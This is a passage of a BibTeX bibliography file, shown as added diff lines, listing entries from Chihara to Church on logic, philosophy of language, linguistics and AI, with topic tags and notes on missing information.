Investigation}, + journal = {The Philosophical Review}, + year = {1979}, + volume = {88}, + missinginfo = {pages,number}, + topic = {semantic-paradoxes;} + } + +@article{ chihara:1984a, + author = {Charles Chihara}, + title = {Priest, the Liar, and {G}\"odel}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {2}, + pages = {117--124}, + topic = {semantic-paradoxes;paraconsistency;goedels-first-theorem;} + } + +@article{ chihara:1984b, + author = {Charles S. Chihara}, + title = {A Simple Type Theory without Platonic Domains}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {3}, + pages = {249--283}, + topic = {higher-order-logic;logic-and-ontology;philosophical-ontology;} + } + +@incollection{ chihara:1994a, + author = {Charles Chihara}, + title = {The {H}owson-{U}rbach Proofs of {B}ayesian Principles}, + booktitle = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + pages = {161--178}, + editor = {Ellery Eells and Brian Skyrms}, + address = {Cambridge, England}, + missinginfo = {Check topic.}, + topic = {foundations-of-probability;} + } + +@book{ child:1994a, + author = {William Child}, + title = {Causality, Interpretation, and the Mind}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + ISBN = {0198239785}, + topic = {causality;philosophy-of-mind;} + } + +@incollection{ chin_dn:1989a, + author = {David N. Chin}, + title = {{KNOME}: Modeling What the User + Knows in {UC}}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {74--107}, + address = {Berlin}, + contentnote = {KNOME is a Unix consultant system.}, + topic = {user-modeling;intelligent-tutoring;agent-stereotypes;} + } + +@article{ chisholm:1955a, + author = {Roderick M. Chisholm}, + title = {Law Statements and Counterfactual Inference}, + journal = {Analysis}, + year = {1955}, + volume = {15}, + number = {5}, + pages = {97--105}, + topic = {causality;natural-laws;conditionals;} + } + +@article{ chisholm-taylor:1960a, + author = {Roderick M. Chisholm and Richard Taylor}, + title = {Making Things to Have Happened}, + journal = {Analysis}, + year = {1960}, + volume = {20}, + number = {4}, + pages = {73--78}, + topic = {temporal-direction;causality;} + } + +@article{ chisholm:1963a, + author = {Roderick M. Chisholm}, + title = {Contrary-to-Duty Imperatives and Deontic Logic}, + journal = {Analysis}, + year = {1963}, + volume = {24}, + pages = {33--36}, + missinginfo = {number}, + topic = {deontic-logic;} + } + +@article{ chisholm:1963b, + author = {Roderick M. Chisholm}, + title = {Supererogation and Offence: A Conceptual Scheme + for Ethics}, + journal = {Ratio}, + volume = {5}, + year = {1963}, + pages = {1--14}, + topic = {ethics;supererogation;} + } + +@article{ chisholm:1964a, + author = {Roderick M. Chisholm}, + title = {The Ethics of Requirement}, + journal = {American Philosophical Quarterly}, + volume = {1}, + year = {1964}, + pages = {147--153}, + topic = {ethics;} + } + +@article{ chisholm:1964b1, + author = {Roderick M. Chisholm}, + title = {{J}.{L}. {A}ustin's Philosophical Papers}, + journal = {Mind}, + year = {1964}, + volume = {75}, + pages = {1--26}, + xref = {Reprinted in fann:1969a; see chisholm:1964a2}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@incollection{ chisholm:1964b2, + author = {Roderick M. Chisholm}, + title = {Austin's Philosophical Papers}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {101--126}, + address = {London}, + missinginfo = {E's 1st name.}, + xref = {Reprinted; see chisholm:1964a1}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@incollection{ chisholm:1967a, + author = {Roderick M. Chisholm}, + title = {Comments on von Wright's `{T}he Logic of Action'}, + booktitle = {The Logic of Decision and Action}, + publisher = {University of Pittsburgh Press}, + year = {1967}, + editor = {Nicholas Rescher}, + address = {Pittsburgh, Pennsylvania}, + missinginfo = {pages}, + topic = {action;} + } + +@article{ chisholm:1967b, + author = {Roderick M. Chisholm}, + title = {He Could Have Done Otherwise}, + journal = {Journal of Philosophy}, + year = {1967}, + volume = {64}, + pages = {409--417}, + missinginfo = {number}, + topic = {JL-Austin;conditionals;ability;counterfactual-past;} + } + +@article{ chisholm:1970a, + author = {Roderick M. Chisholm}, + title = {The Structure of Intention}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {1970}, + pages = {633--647}, + topic = {intention;} + } + +@article{ chisholm-keim:1972a, + author = {Roderick M. Chisholm and Robert G. Keim}, + title = {A System of Epistemic Logic}, + journal = {Ratio}, + year = {1972}, + volume = {14}, + number = {2}, + pages = {99--115}, + topic = {epistemic-logic;preferences;} + } + +@incollection{ chisholm:1978a, + author = {Roderick Chisholm}, + title = {Practical Reason and the Logic of Requirement}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {118--127}, + address = {Oxford}, + topic = {deontic-logic;obligation;practical-reasoning;} + } + +@incollection{ chisholm:1979a, + author = {Roderick Chisholm}, + title = {On the Logic of Purpose}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {223--237}, + address = {Minneapolis}, + topic = {intention;} + } + +@article{ choi_kmf-etal:2000a, + author = {Kenneth M. F. Choi and Jimmy H. M. Lee and Peter J. Stuckey}, + title = {A Lagrangian Reconstruction of {GENET}}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {1--39}, + topic = {constraint-satisfaction;search;} + } + +@article{ choi_sh:2002a, + author = {Sungho Choi}, + title = {Causation and Gerrymandered World Lines: A Critique of + {S}almon}, + journal = {Philosophy of Science}, + year = {2002}, + volume = {69}, + number = {1}, + pages = {105--117}, + topic = {causality;} + } + +@inproceedings{ choi_sk-etal:1998a, + author = {Sung-Kwon Choi and Han-Min Jung and Chul-Min Sim and + Taewan Kim and Dong-In Park and Jun-Sik Park and Key-Sun Choi}, + title = {Hybrid Approaches to Improvement of Translation Quality in + Web-based {E}nglish-{K}orean Machine Translation}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {251--255}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {machine-translation;} +} + +@incollection{ cholewinski-etal:1996a, + author = {Pawe{\l} Cholewi\'nski and Victor W. Marek and Miroslaw + Truszczy\'nski}, + title = {Default Reasoning System {DeReS}}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {518--528}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-reasoning;default-logic;theorem-proving; + kr-course;} + } + +@article{ cholewinski-etal:1999a, + author = {Pawe{\l} Cholewi\'nski and Artur Mikitiuk and Wictor Marek + and Miroslaw Truszczy\'nski}, + title = {Computing with Default Logic}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {112}, + pages = {105--146}, + topic = {kr;nonmonotonic-reasoning;default-logic;theorem-proving; + kr-course;nonmonotonic-reasoning-algorithms;} + } + +@incollection{ chollet-etal:1997a, + author = {Gerard Chollet and Jean-Luc Cochard and Andrei Constantinescu + and Cedric Jaroulet and Philippe Langlais}, + title = {Swiss {F}rench + {P}oly{P}hone and {P}oly{V}ar: Telephone Speech Databases + to Model Inter- and Intra-Speaker Variability}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {117--135}, + address = {Stanford, California}, + topic = {corpus-linguistics;speech-recognition;} + } + +@incollection{ cholvy:1998a, + author = {Laurence Cholvy}, + title = {Reasoning about Merged Information}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 3: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Didier Dubois and Henri Prade}, + pages = {233--263}, + address = {Dordrecht}, + topic = {knowledge-integration;} + } + +@incollection{ cholvy-cuppens:1998a, + author = {Laurence Cholvy and F. Cuppens}, + title = {Reasoning about Norms Provided by Conflicting + Regulations}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {247--264}, + address = {Amsterdam}, + topic = {deontic-logic;rules-and-regulations;} + } + +@inproceedings{ chomicki-etal:2000a, + author = {Jan Chomicki and Jorge Lobo and Shamin Naqvi}, + title = {A Logic Programming Approach to Conflict Resolution + in Policy Management}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {121--132}, + topic = {logic-programming;conflict-resolution;} + } + +@book{ chomsky:1957a, + author = {Noam Chomsky}, + title = {Syntactic Structures}, + publisher = {Mouton}, + year = {1957}, + address = {The Hague}, + topic = {nl-syntax;} + } + +@article{ chomsky:1958a, + author = {Noam Chomsky}, + title = {On Certain Formal Properties of Grammars}, + journal = {Information and Control}, + year = {1958}, + volume = {1}, + pages = {91--112}, + missinginfo = {number}, + topic = {formal-language-theory;} + } + +@article{ chomsky:1958b, + author = {Noam Chomsky}, + title = {A Review of {B}. {F}. {S}kinner's {\it Verbal Behavior}}, + journal = {Language}, + year = {1958}, + volume = {35}, + number = {1}, + pages = {26--58}, + topic = {foundations-of-linguistics;foundations-of-cogsci;} + } + +@article{ chomsky-miller_ga:1958a, + author = {Noam Chomsky and George A. Miller}, + title = {Finite State Languages}, + journal = {Information and Control}, + year = {1958}, + volume = {1}, + missinginfo = {pages, number}, + topic = {formal-language-theory;} + } + +@article{ chomsky:1961a, + author = {Noam Chomsky}, + title = {Some Methodological Remarks on Generative Grammar}, + journal = {Word}, + year = {1961}, + volume = {17}, + number = {2}, + pages = {219--239}, + topic = {transformational-grammar;} + } + +@book{ chomsky:1965a, + author = {Noam Chomsky}, + title = {Aspects of the Theory of Syntax}, + publisher = {The {MIT} Press}, + year = {1965}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;} + } + +@book{ chomsky:1966a, + author = {Noam Chomsky}, + title = {Cartesian Linguistics}, + publisher = {Harper and Row}, + year = {1966}, + address = {New York}, + topic = {foundations-of-linguistics;} + } + +@book{ chomsky:1968a, + author = {Noam Chomsky}, + title = {Language and Mind}, + publisher = {Harcourt, Brace and World}, + year = {1968}, + address = {New York}, + topic = {philosophy-of-language;foundations-of-syntax;} + } + +@book{ chomsky-halle:1968a, + author = {Noam Chomsky and Morris Halle}, + title = {The Sound Pattern of {E}nglish}, + publisher = {Harper and Row}, + year = {1968}, + address = {New York}, + topic = {phonology;} + } + +@incollection{ chomsky:1970a1, + author = {Noam Chomsky}, + title = {Remarks on Nominalization}, + booktitle = {Readings in Transformational Grammar}, + publisher = {Ginn and Co.}, + year = {1970}, + editor = {R. Jacobs and P. Rosenbaum}, + pages = {184--221}, + address = {Boston}, + missinginfo = {E's 1st name.}, + xref = {Republication: chomsky:1970a2.}, + topic = {transformational-grammar;nominalization;} + } + +@incollection{ chomsky:1970a2, + author = {Noam Chomsky}, + title = {Remarks on Nominalization}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {262--289}, + address = {Encino, California}, + xref = {Original Publication: chomsky:1970a1.}, + topic = {transformational-grammar;nominalization;} + } + +@incollection{ chomsky:1971a, + author = {Noam Chomsky}, + title = {Deep Structure, Surface Structure, and Semantic + Interpretation}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {183--216}, + address = {Cambridge, England}, + topic = {transformational-grammar;nl-semantics;} + } + +@incollection{ chomsky:1972a, + author = {Noam Chomsky}, + title = {Some Empirical Issues in the Theory of Transformational + Grammar}, + booktitle = {Goals of Linguistic Theory}, + publisher = {Prentice-Hall, Inc.}, + year = {1972}, + editor = {Stanley Peters}, + pages = {63--127}, + address = {Englewood Cliffs, New Jersey}, + topic = {transformational-grammar;} + } + +@incollection{ chomsky:1973a1, + author = {Noam Chomsky}, + title = {Conditions on Transformations}, + booktitle = {A {F}estschrift for {M}orris {H}alle}, + publisher = {Holt, Rinehart and Winston, Inc.}, + year = {1973}, + editor = {Stephen R. Anderson and Paul Kiparsky}, + pages = {232--286}, + address = {New York}, + topic = {nl-syntax;extended-std-theory;} + } + +@incollection{ chomsky:1973a2, + author = {Noam Chomsky}, + title = {Conditions on Transformations}, + booktitle = {Essays on Form and Interpretation}, + publisher = {North-Holland}, + year = {1977}, + editor = {Noam Chomsky}, + pages = {78--160}, + address = {Amsterdam}, + xref = {Republication of: chomsky:1973a1.}, + topic = {nl-syntax;extended-std-theory;} + } + +@incollection{ chomsky:1975a, + author = {Noam Chomsky}, + title = {Knowledge of Language}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {299--320}, + address = {Minneapolis, Minnesota}, + topic = {philosophy-of-language;} + } + +@article{ chomsky:1975b1, + author = {Noam Chomsky}, + title = {Questions of Form and Interpretation}, + journal = {Linguistic Analysis}, + year = {1975}, + volume = {1}, + number = {1}, + pages = {75--109}, + xref = {Republication: chomsky:1975b2.}, + topic = {nl-semantics;} + } + +@incollection{ chomsky:1975b2, + author = {Noam Chomsky}, + title = {Questions of Form and Interpretation}, + booktitle = {Essays on Form and Interpretation}, + publisher = {North-Holland}, + year = {1977}, + editor = {Noam Chomsky}, + pages = {25--59}, + address = {Amsterdam}, + xref = {Republication of: chomsky:1975b1.}, + topic = {nl-semantics;} + } + +@book{ chomsky:1975c, + author = {Noam Chomsky}, + title = {Reflections on Language}, + publisher = {Pantheon Books}, + year = {1975}, + address = {New York}, + topic = {philosophy-of-language;philosophy-of-psychology;} + } + +@book{ chomsky:1975d, + author = {Noam Chomsky}, + title = {The Logical Structure of Linguistic Theory}, + publisher = {Plenum Press}, + year = {1975}, + address = {New York}, + note = {Written and privately distributed, 1955.}, + topic = {nl-syntax;} + } + +@incollection{ chomsky:1976a, + author = {Noam Chomsky}, + title = {Problems and Mysteries in the Study of Human Language}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {281--357}, + address = {Dordrecht}, + topic = {philosophy-of-linguistics;foundations-of-cognitive-science;} + } + +@article{ chomsky:1976b1, + author = {Noam Chomsky}, + title = {Conditions on Rules of Grammar}, + journal = {Linguistic Analysis}, + year = {1976}, + volume = {2}, + number = {4}, + missinginfo = {pages}, + xref = {Republication: chomsky:1976b2.}, + topic = {nl-syntax;extended-std-theory;} + } + +@incollection{ chomsky:1976b2, + author = {Noam Chomsky}, + title = {Conditions on Rules of Grammar}, + booktitle = {Essays on Form and Interpretation}, + publisher = {North-Holland}, + year = {1977}, + editor = {Noam Chomsky}, + pages = {163--210}, + address = {Amsterdam}, + xref = {Republication of: chomsky:1976b1.}, + topic = {nl-syntax;extended-std-theory;} + } + +@book{ chomsky:1977a, + author = {Noam Chomsky}, + title = {Essays on Form and Interpretation}, + publisher = {North-Holland}, + year = {1977}, + address = {Amsterdam}, + contentnote = {TC: + 1. "Introduction", pp. 1--21 + 2. "Questions of Form and Interpretation", pp. 25--59 + 3. "On the Nature of Language", pp. 63--77 + 4. "Conditions on Transformations", pp. 78--160 + 5. "Conditions on Rules of Grammar", pp. 163--210 + } , + topic = {nl-syntax;nl-semantics;extended-std-theory;} + } + +@incollection{ chomsky:1977b, + author = {Noam Chomsky}, + title = {Introduction}, + booktitle = {Essays on Form and Interpretation}, + publisher = {North-Holland}, + year = {1977}, + editor = {Noam Chomsky}, + pages = {1--21}, + address = {Amsterdam}, + topic = {nl-syntax;extended-std-theory;} + } + +@book{ chomsky:1981a, + author = {Noam Chomsky}, + title = {Lectures on Government and Binding}, + publisher = {Foris Publications}, + year = {1981}, + address = {Foris Publications}, + xref = {3rd edition, chomsky:1984a.}, + topic = {nl-syntax;GB-syntax;} + } + +@book{ chomsky:1984a, + author = {Noam Chomsky}, + edition = {3}, + title = {Lectures on Government and Binding}, + publisher = {Foris Publications}, + year = {1981}, + address = {Foris Publications}, + xref = {1st edition, chomsky:1981a.}, + topic = {nl-syntax;GB-syntax;} + } + +@book{ chomsky:1986a, + author = {Noam Chomsky}, + title = {Barriers}, + publisher = {The {MIT} Press}, + year = {1986}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;GB-syntax;} + } + +@book{ chomsky:1986b, + author = {Noam Chomsky}, + title = {Knowledge of Language: Its Nature, Origin, and Use}, + publisher = {Praeger}, + year = {1986}, + address = {New York}, + ISBN = {0030055539 (hardcover), 0030055520 (pbk.)}, + topic = {philosophy-of-linguistics;philosophy-of-mind;} + } + +@book{ chomsky:1987a, + author = {Noam Chomsky}, + title = {Language and Problems of Knowledge}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-language;foundations-of-cognitive-science; + philosophy-of-linguistics;} + } + +@article{ chomsky:1992a, + author = {Noam Chomsky}, + title = {Explaining Language Use}, + journal = {Philosophical Topics}, + year = {1992}, + volume = {20}, + number = {1}, + pages = {205--231}, + topic = {philosophy-of-language;pragmatics;} + } + +@book{ chomsky:1995a, + author = {Noam Chomsky}, + title = {The Minimalist Program}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;nl-semantics;minimalist-syntax;} + } + +@article{ chomsky:1995b, + author = {Noam Chomsky}, + title = {Language and Nature}, + journal = {Mind}, + year = {1995}, + volume = {104}, + number = {413}, + pages = {1--61}, + contentnote = {A critique of naturalist theories.}, + topic = {linguistic-naturalism;philosophy-of-language; + philosophy-of-linguistics;} + } + +@book{ chomsky:2000a, + author = {Noam Chomsky}, + title = {New Horizons in the Study of Language and Mind}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + xref = {Review: harman:2000a.}, + topic = {philosophy-of-linguistics;philosophy-of-mind;} + } + +@article{ chopra-martin_e2:2002a, + author = {Samir Chopra and Eric Martin}, + title = {Generalized Logical Consequence: Making Room for Induction + in the Logic of Science}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {3}, + pages = {245--280}, + topic = {logical-consequence;} + } + +@incollection{ chou_tsc-winslett:1991a, + author = {Timothy S-C Chou and Marriane Winslett}, + title = {Immortal: A Model-Based Belief Revision System}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {99--110}, + address = {San Mateo, California}, + topic = {kr;model-based-reasoning;belief-revision;kr-course;} + } + +@incollection{ chouraqui:1984a, + author = {Eugene Chouraqui}, + title = {Computational Models of Reasoning}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {145--155}, + address = {Chichester}, + topic = {AI-general;problem-solving;} + } + +@article{ chovil:1991a, + author = {Nicole Chovil}, + title = {Discourse-Oriented Facial Displays in Conversation}, + journal = {Research on Language and Social Interaction}, + volume = {25}, + pages = {163--194}, + year = {1991}, + topic = {gestures;discourse;pragmatics;facial-expression;} + } + +@article{ chovil:1991b, + author = {Nicole Chovil}, + title = {Social Determinants of Facial Displays}, + journal = {Journal of Nonverbal Behavior}, + volume = {15}, + number = {3}, + pages = {141--154}, + year = {1991}, + topic = {gestures;discourse;facial-expression;} + } + +@article{ chovil-fridlund:1991a, + author = {Nicole Chovil and Alan J. Fridlund}, + title = {Why Emotionality Cannot Equal Sociality: Reply to + {Buck}}, + journal = {Journal of Nonverbal Behavior}, + volume = {15}, + number = {3}, + pages = {163--167}, + year = {1991}, + xref = {Reply to buck_r:1991a.}, + topic = {gestures;discourse;} + } + +@article{ chow-li_jy:1997a, + author = {Tommy W.S. Chow and Jin-Yan Li}, + title = {Higher-Order {P}etri Net Models Based on Artificial Neural + Networks}, + Journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {289--300}, + acontentnote = {Abstract: + In this paper, the properties of higher-order neural networks + are exploited in a new class of Petri nets, called higher-order + Petri nets (HOPN). Using the similarities between neural + networks and Petri nets this paper demonstrates how the + McCullock-Pitts models and the higher-order neural networks can + be represented by Petri nets. A 5-tuple HOPN is defined, a + theorem on the relationship between the potential firability of + the goal transition and the T-invariant (HOPN) is proved and + discussed. The proposed HOPN can be applied to the polynomial + clause subset of first-order predicate logic. A five-clause + polynomial logic program example is also included to illustrate + the theoretical results.}, + topic = {connectionist-models;Petri-nets;} + } + +@inproceedings{ chrisman-simmons_rg:1991a, + author= {Lonnie Chrisman and Reid G. Simmons}, + title= {Sensible Planning: Focusing Perceptual Attention}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathy McKeown}, + pages = {756--761}, + organization = {American Association for Artificial Intelligence}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + topic = {planning;attention;} + } + +@incollection{ christ:1997a, + author = {Oliver Christ}, + title = {Linking {W}ord{N}et to a Corpus Query System}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {189--202}, + address = {Stanford, California}, + topic = {wordnet;information-retrieval;} + } + +@article{ christensen:1996a, + author = {David Christensen}, + title = {Dutch-Book Arguments Depragmatized: Epistemic Consistency + for Partial Believers}, + journal = {The Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {9}, + pages = {480--479}, + topic = {probability-kinematics;foundations-of-decision-theory;} + } + +@article{ christensen:1997a, + author = {David Christensen}, + title = {What is Relative Confirmation?}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {3}, + pages = {370--384}, + topic = {confirmation-theory;} + } + +@article{ christensen:1999a, + Author = {David Christensen}, + title = {Measuring Confirmation}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {9}, + pages = {437--461}, + topic = {confirmation-theory;} + } + +@incollection{ christiansen:1999a, + author = {Henning Christiansen}, + title = {Open Theories and Abduction for + Context and Accommodation}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {455-462}, + address = {Berlin}, + topic = {context;accommodation;abduction;} + } + +@article{ chucarroll-carberry:1974a, + author = {Jennifer Chu-Carroll and Sandra Carberry}, + title = {Collaborative Response Generation in Planning Dialogues}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {24}, + number = {3}, + pages = {355--400}, + topic = {nl-generation;collaboration;computational-dialogue;} + } + +@inproceedings{ chucarroll-carberry_s:1994a, + author = {Jennifer Chu-Carroll and Sandra Carberry}, + title = {A Plan-Based Model for Response Generation in Collaborative + Task-Oriented Dialogues}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {799--805}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {discourse;plan-recognition;pragmatics;} + } + +@inproceedings{ chucarroll-carberry_s:1995a, + author = {Jennifer Chu-Carroll and Sandra Carberry}, + title = {Response Generation in Collaborative Negotiation}, + booktitle = {Proceedings of the Thirty-Third Meeting of the + Association for Computational Linguistics}, + year = {1995}, + editor = {Hans Uszkoreit}, + pages = {136--143}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse;plan-recognition;pragmatics;} + } + +@inproceedings{ chucarroll-brown:1997a, + author = {Jennifer Chu-Carroll and Michael K. Brown}, + title = {Initiative in Collaborative Dialogue Interactions}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {262--270}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {collaboration;discourse-initiative;discourse;} + } + +@inproceedings{ chucarroll-carpenter:1998a, + author = {Jennifer Chu-Carroll and Bob Carpenter}, + title = {Dialogue Management in Vector-Based Call Routing}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {256--262}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {spoken-dialogue-systems;call-routing;} +} + +@article{ chucarroll-carpenter:1999a, + author = {Jennifer Chu-Carroll and Bob Carpenter}, + title = {Vector-Based Natural Language Call Routing}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {3}, + pages = {361--388}, + topic = {speech-recognition;} + } + +@article{ chun_ahw-etal:2000a, + author = {Andy Hon Wai Chun and Steve Ho Chuen Chang and Francis + Ming Fai Tsang and Dennis Wai Ming Yeung}, + title = {Stand-Allocation System ({\sc sas}): A Constraint-Based + System Developed with Software Components}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {4}, + pages = {63--74}, + topic = {planning;software-engineering;} + } + +@incollection{ chung:1987a, + author = {Sandra Chung}, + title = {The Syntax of {C}hamorro Existential}, + booktitle = {The Representation of (In)definites}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + pages = {191--225}, + address = {Cambridge, Massachusetts}, + topic = {(in)definiteness;Austronesian-language;existential-constructions;} + } + +@article{ chung-etal:1995a, + author = {Sandra Chung and William A. Ladusaw and James McCloskey}, + title = {Sluicing and Logical Form}, + journal = {Natural Language Semantics}, + year = {1995}, + volume = {3}, + number = {3}, + pages = {239--282}, + topic = {ellipsis;LF;} + } + +@article{ chung:2000a, + author = {Sandra Chung}, + title = {On Reference to Kinds in {I}ndonesian}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {2}, + pages = {157--171}, + topic = {nominal-constructions;nl-semantics;Indonesian-language;} + } + +@article{ church_a:1939a, + author = {Alonzo Church}, + title = {Schr\"oder's Anticipation of the Simple Theory of Types}, + journal = {The Journal of Unified Science}, + year = {1939}, + volume = {9}, + pages = {149--152}, + missinginfo = {number}, + topic = {history-of-logic;Frege;type-theory;} + } + +@article{ church_a:1940a, + author = {Alonzo Church}, + title = {A Formulation of the Simple Theory of Types}, + journal = {Journal of Symbolic Logic}, + year = {1940}, + volume = {5}, + pages = {56--68}, + missinginfo = {number}, + topic = {higher-order-logic;} + } + +@article{ church_a:1950a1, + author = {Alonzo Church}, + title = {On {C}arnap's Analysis of Statements of Assertion and Belief}, + journal = {Analysis}, + year = {1950}, + volume = {10}, + pages = {97--99}, + missinginfo = {number}, + xref = {Republication: church_a:1950a2.}, + topic = {propositional-attitudes;propositions;} + } + +@incollection{ church_a:1950a2, + author = {Alonzo Church}, + title = {On {C}arnap's Analysis of Statements of + Assertion and Belief}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {129--142}, + address = {Encino, California}, + xref = {Original Publication: church_a:1950a1.}, + topic = {propositional-attitudes;propositions;} + } + +@article{ church_a:1951a, + author = {Alonzo Church}, + title = {The Need for Abstract Entities in Semantic Analysis}, + journal = {Proceedings of the American Academy of Arts and Sciences}, + year = {1951}, + volume = {80}, + pages = {100--112}, + missinginfo = {number}, + topic = {philosophy-of-language;nl-semantics;propositional-attitudes; + foundations-of-semantics;intensionality;philosophical-ontology; + intensional-transitive-verbs;} + } + +@incollection{ church_a:1951b, + author = {Alonzo Church}, + title = {A Formulation of the Logic of Sense and Denotation}, + booktitle = {Structure, Method, and Meaning: Essays in Honor of + {H}enry M. {S}cheffer}, + publisher = {Liberal Arts Press}, + year = {1951}, + editor = {Paul Henle and Horace M. Kallen and Susanne K. Langer}, + address = {New York}, + topic = {Frege;intensional-logic;} + } + +@unpublished{ church_a:1951c, + author = {Alonzo Church}, + title = {The Weak Theory of Implication}, + year = {1951}, + note = {Unpublished manuscript, Princeton University}, + topic = {relevance-logic;} + } + +@article{ church_a:1953a, + author = {Alonzo Church}, + title = {Non-Normal Truth-Tables for the Propositional Calculus}, + journal = {Boletin de la Sociedad Mathematica {M}exicana}, + year = {1953}, + volume = {10}, + number = {1,2}, + pages = {41--52}, + topic = {finite-matrix;} + } + +@article{ church_a:1954a, + author = {Alonzo Church}, + title = {Intensional Isomormphism and Identity of Belief}, + journal = {Philosophical Studies}, + year = {1954}, + volume = {5}, + number = {5}, + pages = {65--80}, + topic = {belief;hyperintensionality;propositional-attitudes;} + } + +@article{ 